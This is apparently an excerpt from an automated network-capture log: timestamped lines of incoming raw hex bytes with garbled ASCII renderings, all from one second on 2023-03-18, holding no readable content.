2023-03-18 04:38:08 UTC	58	IN	Data Raw: 69 2c ca ac 01 79 b7 25 d3 54 33 78 f1 1f a9 40 40 1a 69 1c f0 45 81 73 1f e4 62 0f 4c 5e 2d 3a 49 c6 a4 cf 8e a0 6d 29 f9 91 0f 45 5f df c4 5e 32 86 78 da 12 fb 3e fe a6 36 8f 72 2a 09 99 76 aa 64 af 50 e3 0e 46 dd 63 cf 6e 47 ce 70 ba e0 68 52 bc 97 5a cd 4c f1 27 96 e3 bf ef 8e f4 4e 3c 12 60 fe 89 16 de e1 5c 49 c8 11 33 4f d0 e2 98 89 e8 86 dd b2 3e 27 cd 5a 30 ea f6 90 d7 b2 22 9e 25 1a cb a3 48 bc ae 6c be 77 d3 f3 02 94 07 31 e1 bd 69 09 28 74 c2 3f ef a9 99 84 a7 7a e2 81 30 e7 e3 ef 82 cd 03 36 8b 06 e9 af ee 9b 6b ef 1b 2a cc 63 04 f1 03 b2 99 6a 4a bf e1 2b a5 be b7 52 e2 96 3d b4 01 5e 1f 6a 09 19 5d 57 43 7a 39 0d b1 75 c5 f7 e3 cf fe 33 7d 7d 7f 96 9d 34 90 34 f8 2c 4e a0 10 70 88 3c 65 09 55 ab 5e a6 71 b6 5e aa a9 0d 5e e9 87 4e bf e8 72 Data Ascii: i,y%T3x@@iEsbL^-:Im)E_^2x>6rvdPFcnGphRZL'N<`\I3O>'Z0"%Hlw1i(t?z06kcjJ+R=^j]WCz9u3}}44,Np<eU^q^^Nr
2023-03-18 04:38:08 UTC	59	IN	Data Raw: 02 fc f4 87 25 12 40 4a e8 e6 f7 fc ab 6f 15 31 d4 40 fb 14 39 d0 29 82 d4 aa 18 b4 82 5a 0f 34 dc 53 70 b5 ed 0c db 39 e6 3d 5c 1e 6c ac 1c 16 41 bd 3d 59 97 2d 27 72 67 8d de 69 d4 ec 67 b2 87 7c 43 d9 7d e1 83 42 81 58 a6 5f 13 8a e4 5d 5f bf 43 03 12 33 d4 1c e9 a3 28 ec e0 47 ef 33 0f dc 1e 39 e8 81 7e 9b fb a5 42 6f 50 08 a9 b4 f1 56 9a 3e 35 37 3a 97 dc 62 ae d9 63 9d eb d0 d7 63 7c d1 c6 9a 9d 7b 9a 91 c7 d9 72 ab 09 54 6e 28 a9 03 96 dd e3 b6 4e 9e 8b 64 cb 54 71 09 be 89 8b 74 f7 27 25 06 0e 04 fc 10 80 a1 8a 63 8e 26 fc bb d2 06 81 66 87 d4 da 42 f6 e7 b3 d7 84 9d d1 81 56 b6 0d 31 75 e5 7b 66 cb a6 6c ec 59 74 57 56 d4 0b 00 21 a6 c8 3a 96 4f 74 e0 56 d2 c3 ec f1 8e c2 85 22 0b 14 a2 64 02 ff 21 3c 24 36 a6 3f 6a 32 00 60 b3 35 ed 7a e1 81 90 Data Ascii: %@Jo1@9)Z4Sp9=\lA=Y-'rgig\|C}BX_]_C3(G39~BoPV>57:bcc\|{rTn(NdTqt'%c&fBV1u{flYtWV!:OtV"d!<$6?j2`5z
2023-03-18 04:38:08 UTC	60	IN	Data Raw: fe ff ec 52 ac 2a 91 d9 79 00 92 b7 f2 67 1b 71 30 f1 22 83 9c 61 58 ef 8a 1f 95 38 5f 15 18 20 44 50 25 10 48 39 0d bf 77 cb 0a a9 9a fe 41 2e 7f 7e 96 93 44 a7 15 f8 5c 62 f4 14 ff a2 2f 6e 79 9e 7a 5e d6 5d 42 6d ff a3 55 f8 07 87 44 9d e6 a5 9e 5e 14 19 d5 0a a5 2c 04 8f 7b 81 bb 3d ae 7d 40 96 30 19 68 92 cb 5d 5f 88 86 a3 17 e5 84 c6 d8 5a e7 9a dd d9 77 72 0f a3 5b 34 13 47 76 b3 ce c8 a5 a5 eb c7 e1 c4 d6 69 bd 38 9b 34 0e a7 1d 7d 55 a2 19 dd 99 16 a2 92 b5 c6 da 32 93 9f 62 29 0c 69 b0 27 c7 f2 48 da 2b 72 ab 34 63 7d 35 10 be 8a 5c f8 68 64 7e a3 9e 95 85 ea b5 25 80 bf 57 47 e5 16 4e 91 3e 25 0b db 1c b2 7a 32 c3 ae a4 a4 4e c5 28 e4 b7 b9 5b cd ad 41 8e 42 11 f2 76 37 53 1a 20 bb a5 53 b6 43 b2 a4 04 81 70 79 3f ab a5 da 59 f9 e1 f5 e5 9d cb Data Ascii: R*ygq0"aX8_ DP%H9wA.~D\b/nyz^]BmUD^,{=}@0h]_Zwr[4Gvi84}U2b)i'H+r4c}5\hd~%WGN>%z2N([ABv7S SCpy?Y
2023-03-18 04:38:08 UTC	62	IN	Data Raw: ac 9f 58 b9 3b f1 ae 01 e8 e2 54 87 d8 49 6f 89 ea a2 d8 80 96 fc 87 74 d1 1e 30 7f ef 6e 44 da ae 41 c7 46 7d 5b 47 d0 23 98 d4 a6 c2 c9 9f 50 7e fe 77 df bd 96 f0 8e c8 f2 31 0a 05 a8 61 04 ec 50 67 3c 29 a9 bc 12 2c f2 e4 a4 26 e3 42 be 9c e7 b3 f9 e3 37 0b 4d d7 e6 12 d7 c5 68 ee 10 41 8a d3 85 a1 35 99 3a 2b 9e a5 13 a9 4d d5 a8 81 d7 9e ce cf c8 bb 20 db a5 4e f7 1b 61 91 37 c7 68 73 35 42 8a ce bd da 2d 83 1c 87 0e ea 56 79 9f d6 5f e9 8f 92 d8 8c e0 11 25 f8 9f a7 4d 8a b6 39 f2 30 77 75 44 ca 06 6e 73 ba a0 20 4c a1 cd 79 d1 2c ed 04 fa 08 59 c9 1b 8d d5 f6 06 80 55 9b 1d 9f 19 f1 e7 e5 6a c3 32 58 30 51 b9 f7 6b 1c bb d2 52 cd 53 0f 2c 8e ee aa 68 75 12 bc e0 49 62 b6 89 12 51 9c b1 4c d9 14 ca 67 b0 f0 83 75 92 ae 23 a3 4e 7e ca d5 11 c2 c5 92 Data Ascii: X;TIot0nDAF}[G#P~w1aPg<),&B7MhA5:+M Na7hs5B-Vy_%M90wuDns Ly,YUj2X0QkRS,huIbQLgu#N~
2023-03-18 04:38:08 UTC	63	IN	Data Raw: ee de 62 76 27 c0 78 d1 ee 49 03 46 54 5a bb a9 a4 a9 c0 84 da ba cb 52 1d c5 2b 20 fe 58 41 0b d0 25 9e 2a 4a 30 cd c8 c7 5f 5a 18 9d 93 fe 75 a8 c3 76 ff 64 54 23 16 54 16 04 97 83 96 6d fb ba 8a 9d 2d fa 10 0b 4b c4 ba 20 5e 9c e2 b2 d5 ef a8 c2 6a 34 1d e7 67 b3 eb 09 65 3b 1f 84 3d f3 04 f4 df 36 94 85 fe bb 0d c4 69 9b b8 9e 27 68 d7 a9 15 ad 57 77 0c 25 61 04 28 45 63 23 da 26 06 3a bf 8c 55 50 2a 2e d0 06 cf 01 70 c5 a8 f2 9b ca 94 9c 2f 6f 6f f8 6f 39 40 36 76 3d 4f 58 69 28 21 32 a6 8c 94 0f 77 55 32 b1 39 6a ca f8 f5 01 f7 82 08 65 c2 2a ee 89 0c 2e d4 f7 0b 00 a2 14 38 a1 71 c8 c0 e2 a0 75 d1 06 f5 19 cb f1 ea 8a ac 3c 99 ec 8c 34 90 4a 63 e3 55 19 28 c5 d5 ca e0 08 ea 91 9f b3 96 c1 6f a3 2a 9e a9 f0 d0 46 aa 32 37 2f b8 97 da 42 8f cc 85 7f Data Ascii: bv'xIFTZR+ XA%J0_ZuvdT#Tm-K ^j4ge;=6i'hWw%a(Ec#&:UP.p/ooo9@6v=OXi(!2wU29je.8qu<4JcU(oF27/B
2023-03-18 04:38:08 UTC	64	IN	Data Raw: 14 d2 e5 49 9b b0 1d 78 d4 a6 57 c2 49 15 40 6f 5d 82 0f 98 92 b1 20 a7 f3 98 81 e5 bf 77 49 5b 01 67 af 37 86 4f e0 0c 8c 75 6d 51 3a 19 11 ff 38 3f 54 6f 10 8a c2 39 ec c2 fd f0 09 77 f0 d0 d9 49 f3 21 2f b5 10 66 2a c2 de a8 ea 9a 80 0d e6 5a 6e c8 43 30 8c 19 18 24 4b cc c9 66 b6 a7 55 99 51 5a b4 18 83 30 b5 24 33 a6 8f ba 84 f2 59 f1 3a 8e 6b b0 d8 6e ee 94 a7 47 e7 e0 17 c1 59 9d 97 08 38 bb d7 87 71 cb de 2b 53 05 24 a5 ea 0c 5a 8c a2 b1 7d ea 81 fa fc 36 90 d7 8f 2d 92 06 41 a3 b0 bd 1b 2f ab 75 90 3c 56 88 aa 18 a4 23 5c 3c 8c 27 1e cb 50 0e 20 8d b6 b9 b9 89 7b 5a 85 a7 c6 e1 b1 d0 7d 08 21 c5 13 15 99 df e5 bb 39 d9 80 4f f7 5d 29 3f 11 90 6f 6a 86 22 59 28 9f 53 d3 74 48 aa 00 e9 41 55 28 d2 e6 4b 39 49 43 52 08 16 86 e4 7d 93 a6 5c 1d f7 17 Data Ascii: IxWI@o] wI[g7OumQ:8?To9wI!/f*ZnC0$KfUQZ0$3Y:knGY8q+S$Z}6-A/u<V#\<'P {Z}!9O])?oj"Y(StHAU(K9ICR}\
2023-03-18 04:38:08 UTC	65	IN	Data Raw: 44 50 13 26 2b 37 d5 0c c3 1b 17 45 f4 5c ad 23 27 5a 49 3e 9d ea d9 4c 8b 92 2f 75 0a b1 73 ea 97 44 43 4a 6d b4 80 b6 de c0 84 f4 a2 43 81 fe 23 62 04 c5 0d 77 fe 99 53 e5 d8 c5 93 ce 2d d7 e7 ac 44 8d 14 fe cf e9 18 5e d5 e5 f1 9b e0 75 ce d7 49 12 a3 e7 5b e3 78 6d dc 9a 2d c1 8d b0 Data Ascii: DP&+7E\#'ZI>L/usDCJmC#bwS-D^uI[xm-
2023-03-18 04:38:08 UTC	65	IN	Data Raw: 1d ec 53 1f 83 58 9f 5c 8e 71 f7 13 da 70 e3 bf 5f b6 36 55 1f db 06 7e 60 62 ee ed af ef 57 f4 2f 0b 43 fc 07 0a 23 de e7 ab 6b a7 ba 7e f5 c7 5f 50 0d ff a1 ce a4 39 f9 0d fb 83 03 02 89 01 ae 5f 73 2f f6 d9 9e a1 4f b9 a3 9a 4e 13 4d 73 b4 d0 2d 3f 40 2c 66 0b c0 28 8a 57 ec fc 72 39 d5 68 9c b8 85 a1 d4 99 ee 32 3b 8a 50 18 53 10 d3 7d 23 9b 80 69 55 a0 b5 a7 e3 e9 75 f1 f6 e1 38 9e 2f 29 bb 9e d9 3e 80 e6 f6 96 ee 04 2f 23 15 68 eb 4c b6 f1 2c 09 c3 58 6f f8 84 34 dc d4 5e fb 77 85 e5 66 e1 f7 44 44 cd c1 5b 11 cd 0a 81 55 1b bc af e5 11 52 9d 3b 76 d2 07 09 b0 9f 91 b3 ba 27 ae f2 2d be b2 3a 04 e5 4f 2c 63 c0 3f b7 81 cc a6 2a 62 d8 11 be cf 0a 9c 1c 8e b6 50 c3 8a 09 34 de 43 3a a7 d0 60 3b 48 e2 3f 1d a2 44 3f e8 c0 b5 9e 8c a9 9a fe f6 d0 b6 d8 Data Ascii: SX\qp_6U~`bW/C#k~_P9_s/ONMs-?@,f(Wr9h2;PS}#iUu8/)>/#hL,Xo4^wfDD[UR;v'-:O,c?*bP4C:`;H?D?
2023-03-18 04:38:08 UTC	66	IN	Data Raw: ea 4d 07 bd c0 87 b2 72 ac f4 b4 2c ed a1 d0 cf 69 c8 a5 22 54 14 41 93 7a bf c1 4d c0 12 83 b8 ce 81 20 34 c7 e4 a0 bd 3a 3c 7d 99 bb 02 0c 5e ef 9f d5 47 6a 5f 7c 6e 11 cf 2e 6b 37 86 c9 5e f8 8b bf 3e ff 8a ea ac 4e da 01 ad 17 10 9d 31 50 62 2e 1c 01 a3 e3 78 55 c7 ae a2 d1 ba d0 87 c3 aa 45 a4 7b 35 39 cf 7d 1f de a6 df 98 e9 08 10 2e a4 20 65 1e 11 a7 e5 fd 2d e5 7c fd 82 18 32 41 f6 ad a7 e2 a6 7c 7a 3a 37 b2 96 b5 70 bd 67 75 ec fa 72 08 42 87 03 77 dc 34 54 47 cb df d8 cb e0 c4 ff d7 e2 35 ec 54 1c 5c 61 f2 d6 a6 0d e8 e8 d1 71 18 88 fe 50 12 c6 a6 e6 17 96 cb 3b 11 0f 3d d8 00 e8 b4 f3 e2 48 a9 5c 5e 41 bf 6d a4 9c 25 66 fc ce 46 ba c1 a5 61 c4 87 db cc 7e 3a cd d5 54 04 7c 35 32 55 5f 5a 61 8e 0c 72 6f c9 f1 a6 34 15 55 aa e2 0c c4 a2 e9 e8 97 Data Ascii: Mr,i"TAzM 4:<}^Gj_\|n.k7^>N1Pb.xUE{59}. e-\|2A\|z:7pgurBw4TG5T\aqP;=H\^Am%fFa~:T\|52U_Zaro4U
2023-03-18 04:38:08 UTC	68	IN	Data Raw: e5 40 71 53 da 19 ef 8b 05 a3 9c 21 82 b6 0c b0 7a 1b c6 8b 2d c7 8b c6 82 a3 b7 cd ab a0 5b c1 6a eb f4 2e 06 15 6a 96 b6 de ba 80 53 ec 42 78 12 ed 5d 91 58 70 c0 21 21 75 b7 64 9f 64 08 92 b5 32 25 1d 98 93 6f 2b 7a 0c fc 51 32 87 8f c5 c9 5f e0 79 d2 ef 54 8d 8b 43 9d 2c 66 dd 17 0c d8 06 4a 25 9b 42 25 8d ba 4b 93 f2 4b 33 b7 6f 3b b7 51 8d 1f 8d 1f 5b c7 49 12 74 e0 33 6f 73 27 aa eb 46 5d a6 0a f3 70 6d 30 27 07 a1 e7 b1 ee e7 ba 60 e1 95 ea fe df 46 54 37 c1 78 fe bf 74 da 1d bb d7 0b a5 73 c6 36 3b 50 20 7e aa 92 f7 44 f8 f5 26 a5 13 16 da 1b 2c 8c 91 70 98 35 1b f8 c3 ff 29 84 bc 66 41 74 68 4f 01 4d ca 8b d6 6f e5 fa cb ce 23 d0 db 80 80 2e 81 3a cd 41 1e c4 00 08 df 9e 94 f4 27 08 c5 3e c0 f2 3d b7 3c 9e b5 86 45 29 96 9d 6b c1 b2 65 f9 e4 bb Data Ascii: @qS!z-[j.jSBx]Xp!!udd2%o+zQ2_yTC,fJ%B%KK3o;Q[It3os'F]pm0'`FT7xts6;P ~D&,p5)fAthOMo#.:A'>=<E)ke
2023-03-18 04:38:08 UTC	69	IN	Data Raw: e3 a1 88 1f be 8e 14 80 f5 e8 6e cd 7d 5f de 1d e4 b5 04 78 4b 65 1f af c5 14 57 4e 61 ec b8 27 3b 98 9b a3 ac 69 a3 f8 c9 e0 b4 4f e0 fc a0 e5 67 70 64 ff 39 4c 4b 84 70 de 39 44 cd 4b 81 3c 3c 81 ee bf bf 01 bf 72 53 13 6d d0 1a 40 b3 1e 7b ec 04 e6 c2 65 48 50 7d 7a d9 d2 f3 df cd 15 76 72 c8 a7 12 98 35 e7 38 3f 3a cd 90 8b 00 a7 2a 05 7d 49 86 69 1e 91 e9 25 b1 e2 cb e5 48 fe e5 cd 53 f2 c4 41 50 df a6 83 83 a9 29 a4 7d e5 a9 29 c5 0b e3 50 67 10 0a d4 51 d9 a5 f0 f8 1f 25 fd 9e 5d 59 44 f3 e1 8c ef 3f 70 1e 29 c1 f7 a8 70 0c 27 1b c1 e2 46 65 19 88 d9 12 29 62 cd 6a f2 03 be f5 c6 61 18 9e fa 09 57 83 ee 6a 59 e4 31 95 20 63 79 9d d0 29 47 1b 92 7c 14 f6 5d 5c 71 d4 42 7a 31 57 67 56 a4 94 a3 51 28 ad a4 2a 53 3e e2 99 dd 14 39 92 0e be 6f 5a 0e 77 Data Ascii: n}_xKeWNa';iOgpd9LKp9DK<<rSm@{eHP}zvr58?:}Ii%HSAP)})PgQ%]YD?p)p'Fe)bjaWjY1 cy)G\|]\qBz1WgVQ(S>9oZw
2023-03-18 04:38:08 UTC	70	IN	Data Raw: 30 bc f2 e7 ee d8 e9 c7 0c 91 94 ae 69 60 2a f8 cf aa da a2 9d af 04 13 41 3f d6 04 fc 0a 86 8b 30 c4 6e 46 21 30 42 77 0b bd 56 64 80 db f5 4e 83 bd 4c f9 3b 26 8d 13 c7 51 47 6d 60 ac 96 77 ed 58 ce bb 9c 5c 98 07 a3 59 78 62 30 8a 0a fa 47 e7 bb 2d 45 11 38 f0 c9 88 a9 10 13 85 bc d2 a7 12 12 8c a7 82 0a 1f 24 ff 24 3b 91 46 c1 7e 51 8f ea 32 7d 0f 61 9d 8c 37 8a cf 32 85 cd c2 9a 47 5f 82 38 51 cc b5 dd 81 1a fc 06 4b 2a 26 3b 5a 6d 35 ae 14 ac 84 d0 f8 5c 51 e2 2c 45 43 65 44 70 20 d2 b5 6f 55 d3 73 54 96 44 e6 64 a8 d8 35 da 8c c7 0d 15 07 fc f8 27 60 ab ae 33 4a 19 af b9 46 2a b0 60 62 59 cd a1 a1 28 fd 99 1e c0 51 ea db 57 fc 80 1e b3 59 70 22 c4 d3 e3 ca 14 3a 23 cc ea fd 4b 93 a2 e7 1d 0e 1b 42 05 85 82 1c 73 97 67 a6 3f a4 c4 e9 10 f8 8c cf 6a Data Ascii: 0i`A?0nF!0BwVdNL;&QGm`wX\Yxb0G-E8$$;F~Q2}a72G_8QK&;Zm5\Q,ECeDp oUsTDd5'`3JF*`bY(QWYp":#KBsg?j
2023-03-18 04:38:08 UTC	71	IN	Data Raw: b9 66 a4 71 3e 1a 81 00 26 0f f7 ab 1f a0 58 9d b5 21 64 74 0c f5 21 e3 c7 49 79 c3 e4 c0 02 bb eb 78 94 2d 32 08 4d 85 ed 68 02 54 bc 34 af d3 54 4a c1 27 20 de b0 89 df 34 14 b4 f5 92 f2 8e a5 89 df 65 f1 4b 9e 20 ef 72 98 c2 f2 dd 07 49 f3 19 28 f9 a1 97 75 1b bb 5e 62 c3 e5 b9 18 cf 67 3a 0c 2e e5 95 c2 e1 9e 13 53 7b 21 4a 18 c4 cf eb 96 c6 83 ce b2 11 f9 e5 d2 28 88 f4 88 1b fb 22 26 19 a3 7a cd 52 5a 4c 87 07 10 dc 32 0e 73 9c 86 03 b8 a5 fe 3c 2a a0 55 bd 99 40 36 fa e5 7b 8a 09 0a ae 9d f9 70 b0 ef 50 76 0b 7d 46 0a c4 cb 27 c6 88 24 c3 c6 82 5b 51 e5 d8 13 a3 d3 95 21 5f ca 3b 94 f5 24 d6 97 a1 e3 1a 03 88 0a 0f cc 09 bc 85 e5 57 26 81 bd 79 ae 29 93 cc 2a 9e fc 46 f6 28 ca 8d 59 1f 9a 9c 2d c2 6d 54 df 4c f7 b6 d7 93 4b 2d bb ba b3 a0 9f 43 ab Data Ascii: fq>&X!dt!Iyx-2MhT4TJ' 4eK rI(u^bg:.S{!J("&zRZL2s<U@6{pPv}F'$[Q!_;$W&y)F(Y-mTLK-C
2023-03-18 04:38:08 UTC	73	IN	Data Raw: 84 1e ab 72 57 56 52 e6 ad f8 bc 79 69 c2 d5 a5 98 61 81 9a 94 a7 16 69 15 af 90 d6 a7 9b 51 5c cc 8b 0a 1e 83 7b 34 33 7a 69 39 a8 68 c7 28 c7 63 ee e3 6f 6d 21 cb dd 7d 63 0f 27 d8 4b 04 00 13 86 4e 56 98 5c f0 23 e3 ce d0 f2 85 ad 2c 58 31 2f e9 ad d5 f4 a3 a4 29 b2 82 58 a4 3c cf 3f 00 9c ab 6d 6e db 31 8b 3f c9 1c f4 a2 0d c3 33 f9 1a e7 fd 4a 97 0e d1 9e ad cd 6b 48 42 19 ee 90 d1 45 49 85 f0 a4 fd 5a 12 75 23 14 fe fc 52 0f ab 40 2f 33 2b 35 0b a4 7a 35 71 2c f0 4e 4e 4a 06 d7 c4 bb f6 ac 77 27 de e5 3e 48 b9 9a e2 63 99 f1 57 c6 1f 1f c5 fd a8 3d 76 81 9f 8b 2c 36 49 33 15 9e d2 8d d6 c0 ef 20 56 ea 1b ba 24 25 fd e0 db c1 d2 13 eb e8 79 13 f0 ad 2b f4 93 56 ae 63 8b 79 22 ee 93 7d e8 d6 09 70 ae 54 1d 76 4d 9f d1 b1 c3 35 e8 9f 75 f6 1b 1b 45 9b Data Ascii: rWVRyiaiQ\{43zi9h(com!}c'KNV\#,X1/)X<?mn1?3JkHBEIZu#R@/3+5z5q,NNJw'>HcW=v,6I3 V$%y+Vcy"}pTvM5uE
2023-03-18 04:38:08 UTC	74	IN	Data Raw: 60 61 d5 1d 1a 2d 2c 61 fc b7 f1 62 35 9d b6 c1 62 81 0e 65 90 bd 75 b5 66 b1 8b 1e 6a 62 10 0b 58 10 96 28 dd 1a d8 d1 1b 06 bc 39 9d 1f a9 8d a0 51 43 23 ce 25 70 e0 ae 0a e1 04 40 72 39 e5 1d d4 d9 65 d7 bb 63 cc ec b4 54 19 b5 0b ae ed ce 1d 41 15 4b 9a 08 0d 37 95 41 e8 f6 af a7 43 4c ea c8 97 65 01 84 fe 65 fe f3 8e 58 96 f2 5a 43 2f aa 4d 2a 56 ae 00 46 80 11 f0 f7 28 3c c6 13 aa 59 a7 dc b7 11 2a 98 fe 01 5d bf 87 6b 14 72 cc a0 d7 32 e9 1d 5d ab 55 b5 7f d6 45 77 f8 66 2f d1 a4 1a f2 73 78 8d d1 5d 6e 40 61 31 f9 54 01 f0 5e 3c ac fb a4 28 45 e2 47 f4 d2 d4 2c 8c 89 29 9b 8d d2 2f de 6c cd 42 ae af cc 36 c5 8f ee 47 95 84 f9 40 e6 75 06 27 f7 6d f2 17 81 29 d6 1a 52 07 b5 4f 37 b8 b7 25 6d 56 90 ae b5 fc ea a1 a2 0f 42 d8 0b 90 d0 a0 8b c8 0a 99 Data Ascii: `a-,ab5beufjbX(9QC#%p@r9ecTAK7ACLeeXZC/MVF(<Y]kr2]UEwf/sx]n@a1T^<(EG,)/lB6G@u'm)RO7%mVB
2023-03-18 04:38:08 UTC	75	IN	Data Raw: de 36 bb 49 39 07 77 98 12 12 79 23 ea ec 3b 25 c6 5b 3e 8a 15 21 11 c9 39 a2 17 d4 68 dc f5 4f c4 81 86 cf 97 b4 d5 ec 93 c4 92 dc ab a4 b8 6f 47 9e 6f 14 40 10 98 af 94 a5 01 59 31 77 51 08 e6 3a c9 c6 fd 1e 1f 63 72 86 02 a6 37 11 c1 fc c5 77 3c 91 00 89 68 51 6d 51 1d 2a fa dc 1a ef 66 85 f9 b1 ba b7 3a 4e 94 2c ce e5 33 9d a5 68 c0 f9 82 1d 29 ed 2d 64 3c a6 23 44 a0 da 33 f9 79 a2 1c 62 0e 14 47 40 af 7f 33 fd aa 7c 93 0c eb 73 51 6e a4 22 d8 81 8f 16 8c 7b a1 f4 12 7c 0b 99 5e 1c 61 78 9b 52 5f a8 84 93 ce b0 83 1d 88 75 f9 5a bd 22 83 26 ec 03 09 4c 11 fb f4 ed c5 fb 9d 01 ab b7 f7 96 bf f5 b5 f3 02 3e 1e 06 ae 91 ae 37 f7 cb b1 8b a6 bc 25 eb 30 a2 75 79 14 5c 09 b8 dd 22 01 f7 bf 0e 40 b9 08 97 b0 93 74 74 ff f5 43 8e 67 6d ce cd cc 2b 17 46 b6 Data Ascii: 6I9wy#;%[>!9hOoGo@Y1wQ:cr7w<hQmQ*f:N,3h)-d<#D3ybG@3\|sQn"{\|^axR_uZ"&L>7%0uy\"@ttCgm+F
2023-03-18 04:38:08 UTC	76	IN	Data Raw: 22 b4 a7 27 9a 87 64 4a 7c 58 4b b8 b5 16 d0 43 6b 1b a2 83 f2 35 78 2c 2e 00 e8 d3 bc 16 a7 70 e1 11 5b 2c 18 12 25 ce e4 1f 1d ab 81 d8 88 dc b5 af 34 f7 c1 cd 52 ff bb d8 d5 1e e5 fe 19 d6 a7 f0 91 73 3f ca 8d f4 29 02 f7 43 23 46 9e 48 7a 90 f2 3b ee e1 4a b2 9e ec a6 21 50 f2 13 d7 9e b0 d5 41 a0 6b 1a 33 33 70 d1 8c 80 8c 18 06 e1 76 49 19 59 c2 c8 87 e8 f7 8c 0b 9c 68 f8 87 f7 05 f0 05 72 55 6c 33 14 fe 98 84 e7 c4 34 66 03 06 78 16 70 91 42 8f 43 76 d8 50 4d 5f f3 96 4e f7 34 d0 2e 77 0f 07 e8 11 4e 0e 21 f8 1a be bb 17 57 97 ef 56 4c 5c 2b d9 c2 04 ea 2f 79 2a 3c 7a 75 1c c0 34 87 6c 90 17 d1 36 9a 52 ab 5d b3 2a 3a ff a9 ec c7 34 67 ed af 0d 92 91 45 40 52 47 bc 47 b8 be d7 1d 17 e2 d1 84 0d 98 ea 07 f3 70 38 44 6f d6 fd 1e 2b a2 d9 9f 67 4e de Data Ascii: "'dJ\|XKCk5x,.p[,%4Rs?)C#FHz;J!PAk33pvIYhrUl34fxpBCvPM_N4.wN!WVL\+/y<zu4l6R]:4gE@RGGp8Do+gN
2023-03-18 04:38:08 UTC	77	IN	Data Raw: 19 60 43 bf 8f bb 6e d6 e5 ea a5 bc 6a 9b 88 27 95 6b f0 43 8a 08 72 cd 3e 3d 95 f7 3f c5 41 dc 11 12 32 e5 52 60 ad 57 9c 82 b1 e6 3a 13 a9 68 29 42 4c 34 f5 5b 19 1c 0b d3 c4 c1 56 48 17 41 45 78 db 55 3a dc fb a5 4c ab 8a ca a8 0a 37 82 70 91 e9 d3 55 f9 aa be b7 33 4b 59 9e 32 b4 78 ff b5 e7 10 b9 73 8e 3b 5c fb f5 c8 63 11 e7 6a e0 d6 26 67 1d 9a aa 94 a4 28 f0 ba b9 8d cc 10 65 05 b0 91 5b ad 1d 7d 41 ca 31 1f 99 25 bd a9 8b bc ec 05 4c 48 6a b9 d7 0d 8c 26 c6 97 97 09 a1 83 10 7d 01 d4 f2 e8 01 fc 38 da cc 51 94 d0 a8 f3 a1 ea df f1 ef e6 83 4f a1 a3 e3 6e 37 d2 c9 e1 71 c8 f2 70 8c ee 59 02 fd 0f 42 5f 4b 47 36 56 31 3c 79 d7 6b 51 d9 20 5a dd 07 ff d0 9e 52 2b b3 2d 17 69 1e f8 4b 90 aa d3 2d 81 b1 86 ed 91 73 a3 6b 52 7b 0e 70 12 13 da 79 7a ba Data Ascii: `Cnj'kCr>=?A2R`W:h)BL4[VHAExU:L7pU3KY2xs;\cj&g(e[}A1%LHj&}8QOn7qpYB_KG6V1<ykQ ZR+-iK-skR{pyz
2023-03-18 04:38:08 UTC	79	IN	Data Raw: b7 56 df 04 cf a2 2b 99 c0 0e d1 2c 12 ea e7 ec 31 cf 84 c4 61 e1 70 0a 98 44 aa 5f 10 a5 3d c2 26 c5 35 97 ff 88 4d 0f a2 39 2d 9f 95 02 bd 89 e3 09 97 90 1b 57 89 ec df 4e cb 0a ba a1 c3 63 b2 1a bc 40 8e e7 63 26 2f 87 17 38 48 12 82 91 f2 c9 50 2e df a2 ff 94 91 9a 4b 00 23 0f 0e a4 6e 33 97 29 26 1e 33 27 af 23 f1 b6 38 8a a7 42 0a 49 af c3 e5 af 13 37 80 6d 3b da 61 20 f1 8e 50 ef 9f b4 8f 4f 0f b3 25 c7 be ea 76 27 17 2a cb 95 04 67 cc 95 55 e8 d4 56 cf 90 13 33 bf 2d 43 b0 5a 37 2b 0e 1b e3 06 b6 f9 e0 5f 5e 52 f1 ff 87 9c 4c be f1 cb d1 5c 57 34 6e 28 46 09 6f ed 0d 33 6a 70 30 98 a3 f8 a4 13 2e d6 32 e3 fb e7 8d 47 fc 3b 51 50 bb 9b e8 23 84 11 8d 7a b3 e7 37 b2 90 80 ca b3 37 81 cf 4f 9f 68 e1 9f 72 2d 2c 7d b7 f6 cd 3e 8e 9b 97 eb d8 5b 59 b7 Data Ascii: V+,1apD_=&5M9-WNc@c&/8HP.K#n3)&3'#8BI7m;a PO%v'*gUV3-CZ7+_^RL\W4n(Fo3jp0.2G;QP#z77Ohr-,}>[Y
2023-03-18 04:38:08 UTC	80	IN	Data Raw: 0a ee 0a a2 9b c2 c3 6c 21 57 88 8d dd 36 9f b5 61 48 eb a1 3a db 70 1b 24 74 c5 f8 41 ea 0b c7 4d 80 35 77 b3 9c a4 dc a1 16 ea 95 b8 8f 0b 53 ef 0a bb 88 50 98 62 53 8f 1a 1d 25 ec a5 77 cc 28 e6 bb c2 22 5d bc fc 88 d8 b0 8b a8 fb 10 f9 c1 d3 8a 7d 2a 2f b8 b2 c0 1a 5c 15 38 32 a7 56 49 0f 0f 63 2b 36 32 ff 25 f4 ee 90 b1 a4 6c f5 4d 3b e4 27 c4 07 f7 b6 97 ec bb f0 d2 fc 0c 8c f4 e0 c3 ce b1 10 c3 7e 38 0d 63 1f 88 96 8d 7b 85 70 28 31 3c 8e 76 7d 33 31 81 bf 29 a7 bd da fd e5 74 db a8 9e 23 6e f2 a5 74 50 dd cf 24 2b b8 b5 cb bd 3e bc 67 23 f1 ce 95 8c d3 fc b3 f7 24 71 f4 f0 21 6f 45 b6 0f 19 67 fa af 65 9e 55 de 40 54 0b c4 b0 6b 4d e0 a6 15 e6 9a e6 eb 2e ce f2 7e 78 3d e2 14 f4 b3 f8 e7 d2 0c 2b da 59 92 9d fa 24 5e 5a 64 43 30 50 c9 ab c7 a5 bc Data Ascii: l!W6aH:p$tAM5wSPbS%w("]}*/\82VIc+62%lM;'~8c{p(1<v}31)t#ntP$+>g#$q!oEgeU@TkM.~x=+Y$^ZdC0P
2023-03-18 04:38:08 UTC	81	IN	Data Raw: 30 91 a8 45 0c da 42 8d cc 1b 7b fd 15 8b 83 f7 f0 77 15 87 c8 e6 c8 40 58 e8 bd d1 49 bb 1b 45 da 3b e5 8e fe 22 a2 5a 70 38 ec 01 77 d9 71 a7 40 9b 64 a4 b5 a3 67 5e f6 83 5f 73 ad ea f6 e8 1d 94 7f f1 6e a3 d8 51 9e b9 58 3f 37 8f 46 7d 28 c2 ec 70 de d1 91 0b 30 0e a2 55 db 25 35 d9 ce 37 eb 37 11 5b bf c3 ed f0 6a 14 Data Ascii: 0EB{w@XIE;"Zp8wq@dg^_snQX?7F}(p0U%577[j
